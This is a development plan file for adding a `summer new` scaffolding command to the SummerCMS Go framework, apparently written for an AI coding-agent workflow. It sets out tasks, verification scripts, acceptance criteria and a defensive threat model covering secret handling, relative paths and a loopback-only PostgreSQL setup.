+  truths:
+    - "D-02/D-22: `summer new <name>` accepts only names matching ^[a-z][a-z0-9]*$ that are not a Go keyword, `main` or `internal`; any other name exits non-zero with a message naming the rule, before anything is written."
+    - "D-02: when `sm-<name>-app` already exists in the current directory as a directory, file or symlink (dangling included), `summer new` exits non-zero and leaves it byte-for-byte untouched."
+    - "D-03/D-04: the generated go.mod declares `module git.golem15.com/golem15/sm-<name>-app`, `go 1.27.0`, `toolchain go1.27.0`, requires `git.golem15.com/golem15/summercms v0.0.0` and replaces it with a relative path (starting ./ or ../) to the framework checkout chosen in the order --framework, ../summercms, ../summercms.go (each accepted only when its go.mod declares the framework module path), then the running binary's own source tree."
+    - "Edge (missing framework): with no --framework, no matching sibling and no usable binary source, `summer new` exits non-zero, the error text contains `--framework`, and no sm-<name>-app directory remains."
+    - "Edge (target inside framework): a target directory inside the resolved framework checkout is refused."
+    - "D-05/D-27: the starter plugin golem15.<name> is written by the make:plugin and plugin:add code paths with a starter route GET /{$}; plain `summer make:plugin` output is unchanged; every `use` line of the generated go.work is relative (./plugins/<name>), and `summer plugin:add` now writes relative go.work paths too."
+    - "D-06: `summer new <name> --no-plugin` writes summer.yaml with no plugin entries and the app still builds."
+    - "D-07/D-27: config/ holds app.yaml, database.yaml, http.yaml (body_limits default_bytes 1048576, upload_bytes 10485760 as YAML numbers) and storage.yaml (uploads.bucket_url file://./storage/app/uploads); examples/hello gains the same http.yaml and `go -C examples/hello test ./...` passes."
+    - "D-08/D-09/D-23: .env (mode 0600) holds SUMMER_DATABASE__DSN=postgres://summer:summer@127.0.0.1:54320/<name>?sslmode=disable and a 44-character SUMMER_APP__KEY from lagoon.GenerateAppKey; compose.yaml runs postgres:16 published only on 127.0.0.1:54320 with matching user, password and database; .env.example lists the DSN, an empty key placeholder and the commented uploads bucket."
+    - "D-10/D-01: CLAUDE.md names the sm-<name>-app / sm-<name>-plugin / sm-<name>-theme convention, https://summercms.io/docs/llms.txt and https://summercms.io/docs/llms-full.txt, the commands make:plugin, plugin:add, build, dev, migrate and serve, and says not to edit the framework; AGENTS.md is a relative symlink to CLAUDE.md."
+    - "D-11: without --no-git the app is a git repository with exactly one commit on branch main whose tree excludes .env; with no git identity configured the commit uses the fallback author SummerCMS <summer@localhost> for that commit only; a git failure prints a warning and the app stays."
+    - "D-24: `summer new` prints next steps listing `docker compose up -d --wait`, `summer build`, `summer migrate` and `summer serve`."
+    - "D-25: the app root has no go.sum; .gitignore lists /bin/, /tmp/, /storage/, .env, go.work.sum and *.exe; go.work, main.go and plugins.gen.go are committed."
+    - "Edge (partial failure): any error after the target directory was created removes that directory, so a re-run with the same name is not blocked."
+    - "D-12: with `docker compose up -d --wait` running, `summer build`, `summer migrate` and `summer serve` succeed in the generated app with no edits and GET http://127.0.0.1:8080/ answers 200 JSON containing \"plugin\":\"golem15.<name>\"."
+  prohibitions:
+    - requirement_id: D-08
+      category: privacy
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Enforced by the generator gate and plan 04 tests; descriptor-less, human review recommended."
+      statement: "summer new must never commit .env or any application key, and .env.example must never carry a real key."
+    - requirement_id: D-03
+      category: privacy
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Golden go.mod/go.work in plan 04 pin relative paths; descriptor-less, human review recommended."
+      statement: "Committed go.mod and go.work files must never contain absolute, machine-specific paths."
+    - requirement_id: D-23
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "compose.yaml golden in plan 04; descriptor-less, human review recommended."
+      statement: "The generated compose.yaml must never publish PostgreSQL on an address other than 127.0.0.1."
+    - requirement_id: D-10
+      category: transparency
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Framework README rule applies to template text; descriptor-less, human review recommended."
+      statement: "Generated template text must never name a consuming application."
+    - requirement_id: D-05
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Project rules 4 and 5; descriptor-less, human review recommended."
+      statement: "The phase must add no new Go dependency and no runtime plugin loading."
+  artifacts:
+    - path: "internal/build/new.go"
+      provides: "NewOptions, NewApp, ValidateAppName, planNewApp, framework resolution"
+      contains: "func NewApp("
+    - path: "internal/build/stubs/new.tmpl"
+      provides: "templates for go.mod, config/*, .env, .env.example, compose.yaml, .gitignore, CLAUDE.md, next steps"
+      contains: "new/compose.yaml"
+    - path: "internal/build/stubs/plugin.tmpl"
+      provides: "routes.go with opt-in starter route"
+      contains: "StarterRoute"
+    - path: "cmd/summer/main.go"
+      provides: "summer new command with --framework, --no-plugin, --no-git"
+      contains: "\"new\""
+    - path: "modules/lagoon/keygen.go"
+      provides: "exported key generator reused by key:generate and summer new"
+      contains: "func GenerateAppKey("
+    - path: "examples/hello/config/http.yaml"
+      provides: "body_limits for serve and route:list"
+      contains: "default_bytes"
+    - path: "scripts/check-phase14.3.sh"
+      provides: "generator stage: D-12 docker compose build/migrate/serve chain"
+      contains: "--generator"
+  key_links:
+    - from: "cmd/summer/main.go"
+      to: "modules/lagoon/keygen.go"
+      via: "newCommand passes lagoon.GenerateAppKey() into build.NewOptions.AppKey"
+      pattern: "GenerateAppKey"
+    - from: "internal/build/new.go"
+      to: "internal/build/scaffold.go"
+      via: "starter plugin through makePlugin(StarterRoute) and AddPlugin, then generate()"
+      pattern: "makePlugin("
+    - from: "internal/build/scaffold.go"
+      to: "go.work"
+      via: "runGoWorkUse passes a path relative to the go.work directory"
+      pattern: "go\", \"work\", \"use\""
+---
+
+<objective>
+Add `summer new <name>`: one command that writes a ready-to-run `sm-<name>-app/` (go.mod with a relative framework replace, go.work, summer.yaml, a starter plugin with an HTTP route, complete config/, .env with a fresh key, .env.example, compose.yaml, .gitignore, CLAUDE.md/AGENTS.md, first git commit) in the current directory, reusing the make:plugin, plugin:add, generate and key:generate code paths.
+
+Purpose: remove the hand-written go.mod/summer.yaml/config/ step from starting an app (phase goal, roadmap success criteria 1 and 2) and fix the two shared-path defects research found (absolute go.work paths, no starter route option) plus the examples/hello body_limits gap.
+Output: generator in internal/build, CLI command, exported lagoon.GenerateAppKey, examples/hello fix, generator gate stage proving D-12 on real PostgreSQL 16.
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/PROJECT.md
+@.planning/STATE.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-CONTEXT.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md
+@internal/build/scaffold.go
+@internal/build/build.go
+@internal/build/manifest.go
+@internal/build/stubs/plugin.tmpl
+@cmd/summer/main.go
+@modules/lagoon/keygen.go
+</context>
+
+## Spec-less probe fallback
+
+Phase 14.3 has no REQUIREMENTS.md IDs and no SPEC.md, so requirement probing is visibly skipped. The acceptance contract is D-01..D-28 from 14.3-CONTEXT.md, the six roadmap success criteria, and the edge predicates and prohibitions authored into `must_haves` above (name validation, existing directory, missing framework, target inside framework, partial failure, no git identity; no committed secrets, no absolute paths, loopback-only Postgres, neutral template text, no new dependencies or runtime plugin loading).
+
+## Artifacts this phase produces (this plan)
+
+- `build.NewOptions` (fields `Name`, `Parent`, `Framework`, `AppKey`, `NoPlugin`, `NoGit`), `build.NewApp(ctx, opts, out) (string, error)`, `build.ValidateAppName(name) error`.
+- Unexported: `planNewApp`, `genFile`, `resolveFramework`, `frameworkFromBinary` (package variable, replaceable in tests), `binarySourceFramework`, `makePlugin` + `pluginOptions{StarterRoute}`, `stubData.StarterRoute`, a relative-path helper shared by `editAppModule`, `runGoWorkUse` and `NewApp`.
+- Template file `internal/build/stubs/new.tmpl` with defines `new/go.mod`, `new/config/app.yaml`, `new/config/database.yaml`, `new/config/http.yaml`, `new/config/storage.yaml`, `new/env`, `new/env.example`, `new/compose.yaml`, `new/gitignore`, `new/CLAUDE.md`, `new/next-steps`.
+- CLI: `summer new <name>` with flags `--framework <path>`, `--no-plugin`, `--no-git`.
+- `lagoon.GenerateAppKey() (string, error)`; `lagoon.KeyGenerateCommand` now calls it.
+- `examples/hello/config/http.yaml`.
+- `scripts/check-phase14.3.sh` with the `--generator` stage (final line `Phase 14.3 generator check passed`).
+- Generated app layout: `go.mod`, `go.work`, `summer.yaml`, `main.go`, `plugins.gen.go`, `config/{app,database,http,storage}.yaml`, `.env` (0600), `.env.example`, `compose.yaml` (postgres:16 on 127.0.0.1:54320, user/password `summer`, database `<name>`), `.gitignore`, `CLAUDE.md`, `AGENTS.md` -> `CLAUDE.md`, `plugins/<name>/` (starter plugin `golem15.<name>`, route `GET /{$}`).
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: `summer new demo --framework <path>` writes an app whose starter route builds and lists</name>
+  <reversibility rating="costly">D-02 name rule (plus the D-22 denylist) and the `sm-<name>-app` directory name are a public CLI contract; loosening the denylist later is non-breaking, changing the regex or directory shape is not.</reversibility>
+  <files>internal/build/new.go, internal/build/stubs/new.tmpl, internal/build/stubs/plugin.tmpl, internal/build/scaffold.go, cmd/summer/main.go, cmd/summer/main_test.go, internal/build/new_test.go</files>
+  <read_first>internal/build/scaffold.go (MakePlugin, AddPlugin, editAppModule lines 318-334, ensureGoWork, writeGoWork, runGoWorkUse, parseGoMod, underRoot, findGoWork, applyGoWork, renderStub), internal/build/build.go (generate, writeIfChanged), internal/build/manifest.go (SaveManifest, LoadManifest, validateBinary), internal/build/stubs/plugin.tmpl (routes.go and go.mod defines), internal/build/build_test.go (copyHelloApp, TestMakeAndAddPluginOnHelloCopy, assertScaffoldFiles), cmd/summer/main.go (makePluginCommand, addPluginCommand, flagTrue), cmd/summer/main_test.go (TestToolCommandNames helpWants), modules/pact/capabilities.go (Router.Get), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Q1, Q3, Q6, Pattern 1-4, Pitfalls 1-3)</read_first>
+  <action>Wire the single happy path end to end, production quality, per D-02, D-03, D-05, D-07, D-22, D-25 and D-27.
+
+Shared code paths (D-05, D-27): add `StarterRoute bool` to `stubData`; move the body of `MakePlugin` into an unexported `makePlugin(ctx, startDir, id string, opts pluginOptions)` with `pluginOptions{StarterRoute bool}`, and make `MakePlugin` call it with zero options so `summer make:plugin` output stays byte-identical. In the existing `routes.go` define of plugin.tmpl add an `{{if .StarterRoute}}` branch that imports `encoding/json` and `net/http` and registers `r.Get("/{$}", ...)` writing `Content-Type: application/json` and the JSON object with keys `message` = `Hello from SummerCMS` and `plugin` = `p.ID()`; the `{{else}}` branch is the current body unchanged. Do not add a second plugin template.
+
+Relative go.work (D-27): extract the "./"-prefix logic of `editAppModule` into one helper that turns an absolute target into a slash-separated path relative to a base directory, prefixed with `./` unless it is `.`, `..` or starts with `../`. Use it in `editAppModule` (same behaviour as today), and in `runGoWorkUse`: run `go work use <relative path>` with `cmd.Dir` set to the directory that holds the go.work file, the path computed relative to that directory. This changes `summer plugin:add` output from absolute to relative paths.
+
+Generator (`internal/build/new.go`): exported `NewOptions` (this task uses `Name`, `Parent`, `Framework`), `ValidateAppName(name string) error` and `NewApp(ctx context.Context, opts NewOptions, out io.Writer) (string, error)`. `ValidateAppName` enforces `^[a-z][a-z0-9]*$` and additionally rejects `go/token.IsKeyword(name)`, `main` and `internal`, each with an error that names the rule and says why (D-22). `NewApp`: validate the name first; make `Parent` absolute with `filepath.Abs` (lexical, never EvalSymlinks); target is `Parent/sm-<name>-app`; `os.Lstat` the target and refuse when anything exists there (D-02, no merge); resolve `Framework` relative to `Parent` when not absolute, read its go.mod with `parseGoMod` and require module `frameworkModule`, else error; create the target with `os.Mkdir`. Then write, in this order: go.mod rendered from `new/go.mod` (module `git.golem15.com/golem15/sm-<name>-app`, `goVersionLine`, `toolchainLine`, require framework `v0.0.0`, replace to the relative framework path from the helper, D-03); go.work through `writeGoWork` BEFORE the plugin step so an ancestor go.work is never used (research Pattern 2); summer.yaml through `SaveManifest` with module, binary `<name>` and no plugins; `config/app.yaml` (name, debug false, empty key with a comment naming the env override), `config/database.yaml` (empty dsn with a comment naming the env override), `config/http.yaml` (body_limits default_bytes 1048576, upload_bytes 10485760 as YAML numbers with a comment that env values are strings), `config/storage.yaml` (uploads bucket_url `file://./storage/app/uploads`, public_path_prefix `/storage/uploads`) (D-07). Render these through a pure `planNewApp` step that returns a slice of `genFile{Rel, Body, Mode}` and reads nothing but the framework go.mod, so plan 04 can golden-test it. Then `makePlugin(ctx, target, "golem15."+name, pluginOptions{StarterRoute: true})`, `AddPlugin(ctx, target, "plugins/"+name)`, `LoadManifest`, and `generate(target, m)` so main.go and plugins.gen.go exist. Never run `go mod tidy` at the app root (D-25: no root go.sum). Templates live in the new `internal/build/stubs/new.tmpl` (picked up by the existing `stubs/*.tmpl` embed) with define names prefixed `new/` so they cannot collide with plugin defines.
+
+CLI: add `newCommand()` to `toolCommands()` in cmd/summer/main.go: name `new`, description `Create a SummerCMS application in sm-<name>-app`, required arg `name` (description states the letters/digits rule and the Go keyword, main and internal exclusions), flag `framework` (path to the framework checkout). Run uses `os.Getwd()` as `Parent`, prints the created directory. Add `new` to the required names in `TestToolCommandNames` and a helpWants entry `"new": {"--framework"}`.
+
+Smoke test `TestNewAppSmoke` in internal/build/new_test.go (skip under `testing.Short()`, D-21): temp parent with a `summercms` symlink to the repository root (abs of `../..`); `NewApp` with `Framework` = that symlink path; assert go.mod contains `replace git.golem15.com/golem15/summercms => ../summercms`, go.work contains `./plugins/demo` and no line whose first non-blank character is `/`, `App(ctx, dir, &buf)` succeeds, and `bin/demo route:list` run with `cmd.Dir` = app dir prints `/{$}` and `golem15.demo`.</action>
+  <verify>
+    <automated>go vet ./internal/build/ ./cmd/summer/ &amp;&amp; go test ./internal/build/ -run '^(TestNewAppSmoke|TestMakeAndAddPluginOnHelloCopy|TestScaffoldPluginSmoke|TestAddPluginRejectsConflictingID)$' -count=1 -v &amp;&amp; go test ./cmd/summer/ -run '^TestToolCommandNames$' -count=1 -v</automated>
+    <fails_when>Non-zero exit; any "--- FAIL"; "no tests to run"; or the output lacks "--- PASS: TestNewAppSmoke", "--- PASS: TestMakeAndAddPluginOnHelloCopy" or "--- PASS: TestToolCommandNames".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'StarterRoute' internal/build/stubs/plugin.tmpl` is at least 1 and plugin.tmpl still has exactly one `{{define "routes.go"}}`.
+    - `grep -c '{{define "new/' internal/build/stubs/new.tmpl` is at least 5 (go.mod and four config files).
+    - `grep -n 'func NewApp(\|func ValidateAppName(\|type NewOptions struct\|func planNewApp(' internal/build/new.go` prints four lines.
+    - `go run ./cmd/summer new --help` output contains `--framework` and `name`.
+    - TestNewAppSmoke passes: relative replace `../summercms`, relative go.work, build succeeds, route:list shows `GET /{$}` for `golem15.demo`.
+    - `TestMakeAndAddPluginOnHelloCopy` still passes (make:plugin output unchanged, plugin:add relative).
+    - `go vet ./...` and `go test ./... -short` pass at the commit.
+  </acceptance_criteria>
+  <done>`summer new demo --framework <path>` writes an app with a relative replace, a relative go.work, config/ and a starter plugin whose `GET /{$}` route compiles and is listed by route:list; committed as one feat commit in summercms.go.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: Framework auto-detection, refusals, cleanup, --no-plugin, and the examples/hello config gap</name>
+  <files>internal/build/new.go, cmd/summer/main.go, examples/hello/config/http.yaml, README.md, docs/setup/installation.md</files>
+  <read_first>internal/build/new.go (from Task 1), internal/build/scaffold.go (parseGoMod, underRoot), cmd/summer/main.go (newCommand, flagTrue), examples/hello/hello_test.go (TestTypedItemRoute), examples/hello/config/app.yaml, README.md (Quick start step 2 and Known issues, lines 19-68), docs/setup/installation.md ("Configure the application" and the WARNING callout, lines 89-126), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Q2, Q3 examples/hello gap, Q6 binary source, Pitfalls 2 and 4)</read_first>
+  <action>Complete the D-04 resolution order, the D-06 flag and the D-07 hello fix.
+
+Framework resolution (D-04): in new.go add `resolveFramework(parent, flag string) (string, error)`. Order: (1) `--framework` when set: resolved against `parent`, must have a go.mod declaring `frameworkModule`, otherwise error naming the path and the module it found (never fall through); (2) `parent/summercms`, then `parent/summercms.go`, each accepted only when its go.mod declares `frameworkModule` (detection by module path, not folder name; a non-matching candidate is skipped); (3) the running binary's source tree via `binarySourceFramework()`, which uses `runtime.Caller(0)`, ignores a non-absolute file path (a `-trimpath` build), climbs from `internal/build/new.go` to the repository root and accepts it only when its go.mod declares `frameworkModule`; call it through an unexported package variable `frameworkFromBinary` so tests can replace it; (4) otherwise an error that names `--framework` and lists the sibling names it looked for. Keep every candidate path lexical (absolute, not symlink-resolved) so the relative replace for a symlinked sibling is `../summercms`.
+
+Refusals and cleanup: refuse when the target directory would be inside the resolved framework checkout (use `underRoot`), with a message telling the user to run `summer new` next to the checkout. Refuse when `Parent` is not an existing directory. After `os.Mkdir` of the target succeeds, any later error removes the target with `os.RemoveAll` (it did not exist before this run, D-02) and returns the original error with context; nothing else is ever removed.
+
+`--no-plugin` (D-06; research Q2 verified an empty plugin list builds and serves): add `NoPlugin` to `NewOptions` and the bare flag `no-plugin` to `newCommand` (read with `flagTrue`); when set skip `makePlugin` and `AddPlugin` and still call `generate`, so summer.yaml lists no plugins and go.work only `use .`.
+
+examples/hello (D-07, D-27): add `examples/hello/config/http.yaml` with the same `body_limits` block the generator writes (default_bytes 1048576, upload_bytes 10485760). In README.md delete Quick start step 2 (the `config/http.yaml` instruction) and the first Known issues bullet about the missing `http.body_limits`; in docs/setup/installation.md delete the paragraph and yaml fence that tell the reader to create `config/http.yaml` and the matching first bullet of the WARNING callout. Leave the remaining text (the main.go bullet, the one-liner rewrite) to plan 03, which rewrites both pages.</action>
+  <verify>
+    <automated>go vet ./internal/build/ ./cmd/summer/ &amp;&amp; go test ./internal/build/ ./cmd/summer/ -count=1 &amp;&amp; go -C examples/hello test ./... -count=1 &amp;&amp; go run ./cmd/summer docs:build --check &amp;&amp; bash -c 'set -e; d=$(mktemp -d); go build -trimpath -o "$d/summer" ./cmd/summer; cd "$d"; for n in go main internal func Demo 1x a-b; do if ./summer new "$n" >out 2>&amp;1; then echo "accepted $n"; exit 1; fi; done; mkdir sm-taken-app; if ./summer new taken >out 2>&amp;1; then exit 1; fi; if ./summer new nofw >out 2>&amp;1; then exit 1; fi; grep -q -- "--framework" out; test ! -e sm-nofw-app; ln -s "$OLDPWD" summercms; ./summer new bare --no-plugin; grep -q "replace git.golem15.com/golem15/summercms => ../summercms" sm-bare-app/go.mod; (cd sm-bare-app &amp;&amp; ../summer build); echo RULES-OK'</automated>
+    <fails_when>Non-zero exit; any "FAIL" line; "accepted" printed for a rejected name; `docs:build --check` reports problems; or the output lacks the final "RULES-OK" line.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n 'func resolveFramework(\|frameworkFromBinary\|func binarySourceFramework(' internal/build/new.go` prints at least three lines.
+    - A `-trimpath` summer with no sibling checkout fails `summer new nofw` with `--framework` in the error and leaves no `sm-nofw-app`.
+    - `summer new` refuses `go`, `main`, `internal`, `func`, `Demo`, `1x`, `a-b` and an existing `sm-taken-app`.
+    - With a `summercms` symlink sibling and no flag, `summer new bare --no-plugin` writes `replace ... => ../summercms` and `summer build` succeeds.
+    - `examples/hello/config/http.yaml` exists with `default_bytes: 1048576`; `go -C examples/hello test ./...` passes (TestTypedItemRoute green).
+    - README.md and docs/setup/installation.md no longer instruct creating `config/http.yaml`; `docs:build --check` passes.
+  </acceptance_criteria>
+  <done>Framework resolution follows D-04 with verified module paths, refusals and cleanup protect the user's files, `--no-plugin` builds, and examples/hello serves without a manual config step; committed as separate commits for the generator change and the hello fix.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: .env with a fresh key, compose, .gitignore, CLAUDE.md/AGENTS.md, first commit, next steps, and the D-12 docker gate</name>
+  <precondition>The Docker daemon is reachable (`docker info` exits 0), the postgres:16 image can be pulled, and host ports 54320 and 8080 are free.</precondition>
+  <files>modules/lagoon/keygen.go, modules/lagoon/README.md, internal/build/new.go, internal/build/new_test.go, internal/build/stubs/new.tmpl, cmd/summer/main.go, scripts/check-phase14.3.sh</files>
+  <read_first>modules/lagoon/keygen.go, modules/lagoon/keygen_test.go, modules/lagoon/README.md (API reference rows near line 147-150 and the app.key config row), modules/lagoon/encrypted.go (encryptedKeySize, decodeAppKey), modules/compass/env.go (.env parsing, quotes, export prefix), internal/build/new.go, internal/build/stubs/new.tmpl, cmd/summer/main.go, scripts/check-phase14.2.1.sh (gate script conventions: set -euo pipefail, env overrides, final pass line), ../sm-summercmsio-app/.gitignore, ../sm-summercmsio-app/config/app.yaml, ../sm-summercmsio-app/CLAUDE.md (tone reference only; do not copy app-specific text), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Q4, Q5, compose.yaml shape, Pitfalls 5, 10, 11)</read_first>
+  <action>Make the generated app run with no edits (D-08 to D-12, D-23 to D-25).
+
+Key (D-08): export `GenerateAppKey() (string, error)` in modules/lagoon/keygen.go returning `base64.StdEncoding` of `encryptedKeySize` bytes from `crypto/rand`; `KeyGenerateCommand` calls it and still prints through `out.Success` (output unchanged). Add the `lagoon.GenerateAppKey` row to the API reference table of modules/lagoon/README.md in the same commit (project documentation rule). `internal/build` stays free of a lagoon import: add `AppKey` to `NewOptions`; `NewApp` errors when it is empty or does not base64-decode to 32 bytes; `newCommand` calls `lagoon.GenerateAppKey()` and passes the result. Update `TestNewAppSmoke` to pass a fixed valid 44-character test key and `NoGit: true` so it stays hermetic.
+
+Files, all rendered by `planNewApp` from new.tmpl defines (golden-testable with a fixed key):
+- `.env` (mode 0600): `SUMMER_DATABASE__DSN=postgres://summer:summer@127.0.0.1:54320/<name>?sslmode=disable` and `SUMMER_APP__KEY=<key>`, unquoted, no `$` characters, with a header comment that the file holds secrets and is gitignored.
+- `.env.example` (0644): the same DSN, `SUMMER_APP__KEY=` empty with a comment on generating one with `./bin/<name> key:generate` (paste only the key), a commented `SUMMER_STORAGE__UPLOADS__BUCKET_URL=file://./storage/app/uploads`, and a commented `SUMMER_ENV`.
+- `compose.yaml` (D-09, D-23): one service `postgres` with image `postgres:16`, environment POSTGRES_USER `summer`, POSTGRES_PASSWORD `summer`, POSTGRES_DB `<name>`, ports `127.0.0.1:54320:5432` only, a named volume `pgdata` (no bind mounts), and a `pg_isready -U summer -d <name>` healthcheck (interval 2s, timeout 3s, retries 30) so `docker compose up -d --wait` returns once the database accepts connections.
+- `.gitignore` (D-08, D-25): `/bin/`, `/tmp/`, `/storage/`, `.env`, `go.work.sum`, `*.exe`.
+- `CLAUDE.md` (D-10, D-01): states this is a SummerCMS application built from `git.golem15.com/golem15/summercms`, replaced by the local checkout at the relative replace path, which agents must not edit from here; links https://summercms.io/docs/llms.txt and https://summercms.io/docs/llms-full.txt; lists `summer make:plugin`, `summer plugin:add`, `summer build`, `summer dev`, `summer migrate`, `summer serve` and `docker compose up -d --wait`; explains summer.yaml, plugins/ (starter plugin golem15.<name> only when present), config/, `.env` (secrets, never commit), compose.yaml, and that main.go and plugins.gen.go are generated by `summer build`; states plugins are compiled in at build time; states the Golem15 naming convention: `sm-<name>-app` application, `sm-<name>-plugin` standalone plugin module, `sm-<name>-theme` Nuxt/Vue frontend. Use only neutral wording (no consuming application names).
+- `AGENTS.md`: a relative symlink to `CLAUDE.md` (planner's call under D-10: one source, survives git clone on Linux and macOS); represent it in `genFile` as a link target.
+
+Git (D-11): add `NoGit` to `NewOptions` and the bare flag `no-git` to `newCommand`. Unless set: look up `git` on PATH (missing means a warning and no repository); run `git init --quiet --initial-branch=main`, `git add -A`, then `git commit --quiet -m "Create sm-<name>-app with summer new"` with stdin closed and `GIT_TERMINAL_PROMPT=0`. When `git config user.name` or `git config user.email` (run inside the new repository) is unset and the matching `GIT_AUTHOR_*`/`GIT_COMMITTER_*` variables are absent, pass `-c user.name=SummerCMS -c user.email=summer@localhost` to that commit only and print a warning saying so. Any git failure (for example signing with an unavailable key) prints a warning with git's output and keeps the app. The commit message carries no trailers.
+
+Next steps (D-24): after success, print from the `new/next-steps` define: the created directory, then "Next steps, inside sm-<name>-app:" followed by `docker compose up -d --wait`, `summer build`, `summer migrate`, `summer serve`, then `curl http://127.0.0.1:8080/` (with `--no-plugin`, a line pointing at `summer make:plugin` and `summer plugin:add` instead of the curl). Do not print a `cd` line (D-24 assigns it to the bootstrap script).
+
+Gate (D-12): create executable `scripts/check-phase14.3.sh` (bash, `set -euo pipefail`, `PHASE143_*` overrides, root from the script location) with stage `--generator`: preflight `docker info` and that 127.0.0.1:54320 and :8080 are free (fail with a clear message otherwise); build the CLI with `go build -o "$tmp/bin/summer" ./cmd/summer` and put `$tmp/bin` first on PATH; in a temp parent create a `summercms` symlink to the repo root; run `summer new demo` WITHOUT `--framework` and with HOME set to an empty temp directory and `GIT_CONFIG_NOSYSTEM=1` for that one command (export GOMODCACHE, GOCACHE and GOPATH from `go env` first so the module cache is reused) to exercise sibling detection and the fallback identity; assert `.env` mode is 600, `git -C sm-demo-app rev-list --count HEAD` is 1, `git -C sm-demo-app ls-files .env` prints nothing, `.env.example`, `go.work`, `main.go`, `plugins.gen.go` are tracked, `AGENTS.md` is a symlink to `CLAUDE.md`, there is no root `go.sum`, and go.work has no absolute `use` path; then in the app with a unique `COMPOSE_PROJECT_NAME` run `docker compose up -d --wait`, `summer build`, `summer migrate`, start `summer serve` in the background, poll `http://127.0.0.1:8080/` for up to 60 s and require the body to contain `"plugin":"golem15.demo"`; a trap stops the server and runs `docker compose down -v` on every exit. End with the line `Phase 14.3 generator check passed`. Commit the lagoon change, the generator change and the gate script as separate commits.</action>
+  <verify>
+    <automated>go vet ./... &amp;&amp; go test ./modules/lagoon/ -run 'Key' -short -count=1 -v &amp;&amp; go test ./internal/build/ -run '^TestNewAppSmoke$' -count=1 -v &amp;&amp; bash scripts/check-phase14.3.sh --generator</automated>
+    <fails_when>Non-zero exit; any "--- FAIL"; "--- PASS: TestNewAppSmoke" or "--- PASS: TestEncryptedKeyGeneratePrints32ByteBase64" absent; or the output lacks the final line "Phase 14.3 generator check passed".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n 'func GenerateAppKey() (string, error)' modules/lagoon/keygen.go` prints one line and `grep -c 'lagoon.GenerateAppKey' modules/lagoon/README.md` is at least 1.
+    - `grep -c '127.0.0.1:54320:5432' internal/build/stubs/new.tmpl` is 1 and `grep -c 'postgres:16' internal/build/stubs/new.tmpl` is at least 1.
+    - `grep -c 'https://summercms.io/docs/llms-full.txt' internal/build/stubs/new.tmpl` is at least 1 and `grep -c 'sm-<name>-theme\|-theme' internal/build/stubs/new.tmpl` is at least 1.
+    - `grep -Eci 'fonoteka|p[lł]ytarium' internal/build/stubs/new.tmpl` prints 0.
+    - The `--generator` stage passes: sibling detection without `--framework`, fallback identity commit, `.env` 0600 and untracked, AGENTS.md symlink, no root go.sum, relative go.work, and the starter route answers 200 JSON after `docker compose up -d --wait`, `summer build`, `summer migrate`, `summer serve`.
+    - `go run ./cmd/summer new --help` lists `--framework`, `--no-plugin` and `--no-git`.
+    - `go vet ./...` and `go test ./... -short` pass; `git diff v0.1.12 -- go.mod` adds no require line.
+  </acceptance_criteria>
+  <done>A generated app holds a fresh key, a loopback-only PostgreSQL 16 compose file, a secret-free first commit and agent instructions, prints its next steps, and the gate proves `summer build`, `summer migrate` and `summer serve` work with no edits.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| CLI argument and flag -> filesystem | `<name>` and `--framework` become paths and module names |
+| Generator -> git history | Generated files enter the first commit, which may be pushed |
+| Generated compose.yaml -> host network | Docker publishes the dev database on the host |
+| crypto/rand -> .env | The application encryption key is created and stored |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.3-01 | Tampering | `ValidateAppName`, target path | high | mitigate | Regex `^[a-z][a-z0-9]*$` plus keyword/main/internal denylist before any path is built; target is always `Parent/sm-<name>-app` |
+| T-14.3-02 | Information Disclosure | `.env`, first git commit | high | mitigate | `.gitignore` written before `git add -A`; `.env` mode 0600; `.env.example` holds no key; gate asserts `git ls-files .env` is empty |
+| T-14.3-03 | Information Disclosure | app key generation | high | mitigate | Single implementation `lagoon.GenerateAppKey` on `crypto/rand`; NewApp rejects keys that do not decode to 32 bytes |
+| T-14.3-04 | Tampering | existing directory, cleanup | high | mitigate | `os.Lstat` refusal of any existing target; `os.Mkdir` (not MkdirAll); `os.RemoveAll` only on the directory this run created |
+| T-14.3-05 | Information Disclosure | compose.yaml Postgres port | medium | mitigate | Publish only `127.0.0.1:54320`; named volume, no bind mounts |
+| T-14.3-06 | Spoofing | framework auto-detection | medium | mitigate | Candidates accepted only when go.mod declares `git.golem15.com/golem15/summercms`; explicit `--framework` wins and never falls through |
+| T-14.3-07 | Information Disclosure | committed go.mod/go.work | low | mitigate | Relative replace and relative `go work use` paths; no absolute home paths in history |
+| T-14.3-08 | Information Disclosure | compose.yaml dev credentials | low | accept | `summer`/`summer` is a documented local default for a loopback-only dev database, not a production credential; the encryption key stays in `.env` |
+| T-14.3-09 | Information Disclosure | `summer serve` default `:8080` | low | accept | Existing surf default listens on all interfaces; out of scope for this phase; next steps point at 127.0.0.1 |
